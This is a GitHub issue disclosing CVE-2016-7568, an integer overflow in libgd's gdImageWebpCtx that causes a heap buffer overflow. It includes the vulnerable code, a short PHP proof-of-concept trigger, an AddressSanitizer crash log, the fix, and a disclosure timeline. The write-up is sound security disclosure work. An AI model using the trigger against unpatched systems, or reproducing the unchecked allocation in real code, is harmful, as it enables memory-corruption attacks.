Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2016-7568 Integer Overflow in gdImageWebpCtx #308

Closed
trylab opened this Issue Sep 21, 2016 · 2 comments

Comments

Projects
None yet
1 participant
@trylab
Copy link
Contributor

trylab commented Sep 21, 2016

DESCRIPTION

An integer overflow issue was found in function gdImageWebpCtx of file gd_webp.c which could lead to heap buffer overflow.

CREDIT

This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.

VULNERABILITY DETAILS

The bad code lies in function gdImageWebpCtx of file gd_webp.c.

argb = (uint8_t *)gdMalloc(gdImageSX(im) * 4 * gdImageSY(im));  /* integer overflow!!! */

There is no overflow check before calling the gdMalloc function. Actually, an integer overflow can be happened here. For example, 0x8000 * 0x8001 * 4 = 0x100020000 -> Overflow -> 0x20000. The buffer will be overflowed in the following for loop.

for (y = 0; y < gdImageSY(im); y++) {
    for (x = 0; x < gdImageSX(im); x++) {
        register int c;
        register char a;
        c = im->tpixels[y][x];
        a = gdTrueColorGetAlpha(c);
        if (a == 127) {
            a = 0;
        } else {
            a = 255 - ((a << 1) + (a >> 6));
        }
        *(p++) = gdTrueColorGetRed(c);    // heap buffer overflow!!!
        *(p++) = gdTrueColorGetGreen(c);  // heap buffer overflow!!!
        *(p++) = gdTrueColorGetBlue(c);   // heap buffer overflow!!!
        *(p++) = a;    // heap buffer overflow!!!
    }
}

POC

This issue was reported to PHP originally. So currently the proof-of-concept file is only available for PHP. But I think it's not hard to write a PoC for libgd.

<?php
    ini_set('memory_limit', -1);
    $im = imagecreatetruecolor(0x8000, 0x8001);
    imagewebp($im, 'php.webp');
    imagedestroy($im);
?>

EXCEPTION LOG

Also, the exception log was generated by PHP.

==2583==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ff13d43e800 at pc 0x000000a77d0d bp 0x7ffe8ecdae90 sp 0x7ffe8ecdae88
WRITE of size 1 at 0x7ff13d43e800 thread T0
    #0 0xa77d0c in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:139:4
    #1 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #2 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #3 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #4 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #5 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #6 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #7 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #8 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #9 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #10 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0
    #11 0x469856 in _start ??:0:0

0x7ff13d43e800 is located 0 bytes to the right of 131072-byte region [0x7ff13d41e800,0x7ff13d43e800)
allocated by thread T0 here:
    #0 0x4f0812 in malloc ??:0:0
    #1 0x18e6886 in _emalloc php-src-master/Zend/zend_alloc.c:2402:11
    #2 0xa774b0 in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:123:20
    #3 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #4 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #5 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #6 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #7 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #8 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #9 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #10 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #11 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #12 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
  0x0ffea7a7fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffea7a7fd00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2583==ABORTING

PATCH

It's very easy to write a patch for this issue. Just call function overflow2 to check if overflow exists or not before calling function gdMalloc.

if (overflow2(gdImageSX(im), 4)) {
    return;
}

if (overflow2(gdImageSX(im) * 4, gdImageSY(im))) {
    return;
}

TIMELINE

2016/09/02 - Report to PHP as BUG 73003
2016/09/06 - Wrote a patch and created a pull request for libgd
2016/09/06 - Wrote a patch and created a pull request for php-src
2016/09/16 - Fixed in PHP via 46df064 and c18263e
2016/09/16 - Fixed in libgd via 40bec0f

@trylab

This comment has been minimized.

Copy link
Contributor Author

trylab commented Sep 21, 2016

This issue has been fixed in libgd and PHP. I opened it just for issue tracking.

Also, can anyone help request a CVE number for it? Thanks.

@trylab trylab changed the title Integer Overflow in gdImageWebpCtx of gd_webp.c CVE-2016-7568 Integer Overflow in gdImageWebpCtx of gd_webp.c Sep 29, 2016

@trylab trylab changed the title CVE-2016-7568 Integer Overflow in gdImageWebpCtx of gd_webp.c CVE-2016-7568 Integer Overflow in gdImageWebpCtx Sep 29, 2016

@trylab

This comment has been minimized.

Copy link
Contributor Author

trylab commented Sep 29, 2016

Hello, CVE-2016-7568 has been assigned to this issue. Thanks.

http://www.openwall.com/lists/oss-security/2016/09/28/7

@trylab trylab closed this Sep 29, 2016

uqs pushed a commit to freebsd/freebsd-ports that referenced this issue Oct 16, 2016

dinoex
- fix option WEBP
- make option WEBP default
PR:		211368

- Security patch, port was not vulnerable
Security: libgd/libgd#308
Security: http://seclists.org/oss-sec/2016/q3/626
Security: CVE-2016-7568
PR:		213020


git-svn-id: svn+ssh://svn.freebsd.org/ports/head@424078 35697150-7ecd-e111-bb59-0022644237b5

uqs pushed a commit to freebsd/freebsd-ports that referenced this issue Oct 16, 2016

dinoex dinoex
- fix option WEBP
- make option WEBP default
PR:		211368

- Security patch, port was not vulnerable
Security: libgd/libgd#308
Security: http://seclists.org/oss-sec/2016/q3/626
Security: CVE-2016-7568
PR:		213020

mat813 pushed a commit to mat813/freebsd-ports that referenced this issue Oct 17, 2016

dinoex
- fix option WEBP
- make option WEBP default
PR:		211368

- Security patch, port was not vulnerable
Security: libgd/libgd#308
Security: http://seclists.org/oss-sec/2016/q3/626
Security: CVE-2016-7568
PR:		213020


git-svn-id: https://svn.freebsd.org/ports/head@424078 35697150-7ecd-e111-bb59-0022644237b5
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.